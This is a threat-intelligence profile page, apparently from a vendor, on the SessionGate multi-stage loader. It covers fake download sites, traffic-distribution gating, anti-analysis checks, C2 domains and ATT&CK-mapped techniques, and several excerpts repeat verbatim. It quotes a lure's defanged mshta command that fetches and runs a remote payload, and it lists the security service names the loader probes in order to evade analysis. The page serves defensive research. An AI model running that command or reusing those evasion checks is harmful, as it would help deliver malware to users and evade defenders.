SessionGate
SessionGate is a previously unknown multi-stage loader characterized by heavy obfuscation and extensive anti-analysis mechanisms. It was observed in a large-scale campaign documented by Check Point Research in which more than 100 fake websites impersonated trusted software and security tools such as Ghidra, dnSpy, SpiderFoot, and ILSpy, then intercepted download clicks with CloudFront-hosted JavaScript and routed victims through a gated Traffic Distribution System (TDS). In the observed chains, SessionGate was used primarily to deliver potentially unwanted applications (PUA), though its final DLL stage functioned as a network-controlled installer or bundler framework that retrieved encrypted configuration from an external server, extracted a download URL, silently executed next-stage payloads via cmd.exe, and sent telemetry.
SessionGate delivery was tightly controlled. Landing pages included originaldownloads[.]info and getfluxfile[.]com, with oundhertobeconsist[.]org identified as a TDS redirector and javascriptapiusa[.]com as a payload validation domain. The infection sequence generated short-lived payload URLs bound to the client browser and IP address, and the final payload was described as unique per client. The initial downloaded file was a roughly 20 MB 7-Zip archive containing an executable of about 15 MB plus approximately 5 MB of obfuscated loader code. Researchers also observed multiple Amazon S3 buckets used between January and March 2026, including activeslatnascdngetrcv, globalhasigasnaledsftwre, marketstagofortdas, softmakreplnt, activemktsolution, and signedmarkeotk.
Its anti-analysis design included oversized functions, encrypted strings placed in code regions, bogus math, opaque predicates, anti-disassembly techniques, and server-side one-time-key delivery. The decryption key for the final payload stage was generated server-side and released only once per victim session; replaying the chain from a different IP returned a valid-looking but useless key. SessionGate could also pivot to a benign installer experience when gating conditions were not met, complicating sandbox analysis. The loader checked for analysis-related services including eelam, ehdrv, eamonm, epfwwfp, epfw, ekbdflt, edevmon, npf, npcap, and sysmondrv, and also inspected Windows Defender PUA settings and indicators of Windows Enterprise edition.
Additional observed infrastructure included C2-related domains appfreshstart[.]com, appgetonline[.]com, webinnosetup[.]com, appmakingcenter[.]com, yourfastcrc[.]com, mobileversioncrc[.]com, webcrcprove[.]com, and integritycrc[.]com. The second stage impersonated a legitimate 7-Zip SFX installer and contained the PDB path D:\code\cpp-downloader-scb-reg-other\Plugins\7ZipDownloader\Output\SFXWin.pdb. The installer framework referenced products such as PDF Spark, PDF Proton, PDF Ignite, PDF Skill, Document Sparkle, NibblrAI, and PCPooch, and defaulted to a hardcoded 7-Zip installer URL when backend configuration key 11 was absent. VirusTotal telemetry cited in the reporting associated roughly 2,000 to more than 5,000 submissions with the broader campaign, with SessionGate-related submissions notably observed from Turkey, Poland, Brazil, Germany, France, Russia, and the U.K.
Hunt this family in your stack
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
Techniques & procedures
18 distinct techniques documented for this family, organized by ATT&CK tactic.
Reconnaissance
1 techniqueAttack chains specifically target users looking for such tools on search engines like Google, causing the bogus sites to be surfaced on top of the search results.
Initial Access
2 techniquesThe JavaScript loaded by these pages listens for the user’s first interaction and intercepts it before normal navigation can proceed. On Chrome it captures a mousedown event; on Firefox it uses a click event. It then generates a TDS runtime URL, redirects the user silently, and cancels the original navigation entirely.
Hackers are creating convincing fake websites that impersonate popular security tools to trick users into downloading malware.
Execution
3 techniquesThe final DLL payload is responsible for communicating with an external server, retrieving an encrypted configuration from the server, extracting the download URL from the configuration, and downloading and silently executing the next-stage malware via 'cmd.exe.'
The HTML page contains obfuscated JavaScript that performs a server-side validation step ... before allowing access to the payload.
The page that imitates a Cloudflare verification screen and instructs the user to run: C:\Windows\SysWOW64\mshta.exe https://185.0xA1.0xFB[.]58/navy.7z
Persistence
1 techniqueThese pages load a CloudFront-hosted JavaScript staging layer that converts a click on a “download” button/link into a handoff to a Traffic Distribution System (TDS). The TDS enforces strict gating: first-visit state, mandatory click confirmation, anti-bot/anti-analysis logic, VPN/datacenter filtering, and frequency capping.
Stealth
7 techniquesSessionGate is a multi-stage loader with heavy obfuscation and one-time-key delivery that makes it extraordinarily difficult for analysts to examine.
Cybersecurity researchers have flagged a large-scale operation that impersonates open-source and freeware projects to funnel unsuspecting users through a Traffic Distribution System (TDS) and deliver malware families like Remus Stealer, AnimateClipper, and the SessionGate framework.
The decryption key for the final payload stage is generated server-side and released only once per victim session. If a researcher tries to replay the chain from a different IP address, the server returns a valid-looking but useless key, making the payload completely unreadable.
These pages load a CloudFront-hosted JavaScript staging layer that converts a click on a “download” button/link into a handoff to a Traffic Distribution System (TDS). The TDS enforces strict gating: first-visit state, mandatory click confirmation, anti-bot/anti-analysis logic, VPN/datacenter filtering, and frequency capping.
SessionGate , a previously unknown multi-stage, obfuscated loader that's used to deliver potentially unwanted applications (PUA) while incorporating extensive anti-analysis mechanisms to throw off sandboxes by pivoting to a benign installer experience.
The sample also runs multiple environment checks that influence whether it proceeds with malicious delivery or falls back to decoy behavior. The loader checks for the presence of certain services... enumerates running processes... checks system context such as Windows Defender PUA/PUS-related registry settings.
The modules are not written to disk: they are loaded via in-memory PE manual mapping (often referred to as reflective / manual-map loading), and execution is transferred through exported functions.
Discovery
5 techniquesWindows Defender PUA/PUS-related registry settings (e.g., PUAProtection, MpEnablePus)
In addition to services, the loader also enumerates running processes (Toolhelp-based scanning).
Finally, the loader checks system context such as: Windows Defender PUA/PUS-related registry settings ... Windows “Enterprise” edition detection (by inspecting the ProductName string)
SessionGate , a previously unknown multi-stage, obfuscated loader that's used to deliver potentially unwanted applications (PUA) while incorporating extensive anti-analysis mechanisms to throw off sandboxes by pivoting to a benign installer experience.
The sample also runs multiple environment checks that influence whether it proceeds with malicious delivery or falls back to decoy behavior. The loader checks for the presence of certain services... enumerates running processes... checks system context such as Windows Defender PUA/PUS-related registry settings.
Command and Control
3 techniquesThe stealer polls the C2 using HTTP POST requests ... The malware uses HTTPS to communicate with the resolved C2 server. In the analyzed build, the observed logic includes periodic refresh check-ins
These pages load a CloudFront-hosted JavaScript staging layer that converts a click on a 'download' button/link into a handoff to a Traffic Distribution System (TDS). The TDS enforces strict gating: first-visit state, mandatory click confirmation, anti-bot/anti-analysis logic, VPN/datacenter filtering, and frequency capping. | The final DLL payload is responsible for communicating with an external server, retrieving an encrypted configuration from the server, extracting the download URL from the configuration, and downloading and silently executing the next-stage malware via 'cmd.exe.'
These pages load a CloudFront-hosted JavaScript staging layer that converts a click on a “download” button/link into a handoff to a Traffic Distribution System (TDS). The TDS enforces strict gating: first-visit state, mandatory click confirmation, anti-bot/anti-analysis logic, VPN/datacenter filtering, and frequency capping.
IOCs tracked for this family
34 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
Recent activity
3 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
A heavily obfuscated multi-stage loader that uses server-side one-time-key delivery and anti-analysis techniques to hinder reverse engineering and payload recovery.
A previously unknown multi-stage obfuscated loader/framework used to deliver payloads, including potentially unwanted applications, with extensive anti-analysis, validation, and gated delivery logic. Its final DLL communicates with an external server, retrieves encrypted configuration, extracts a download URL, and silently executes next-stage malware.
A previously unknown multi-stage, heavily obfuscated loader/framework that uses strict gating, anti-analysis, per-session payload generation, and one-time-style key release semantics. In the observed chains it functioned as a network-controlled installer/bundler delivering PUA and additional software silently.
The version that knows your environment.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.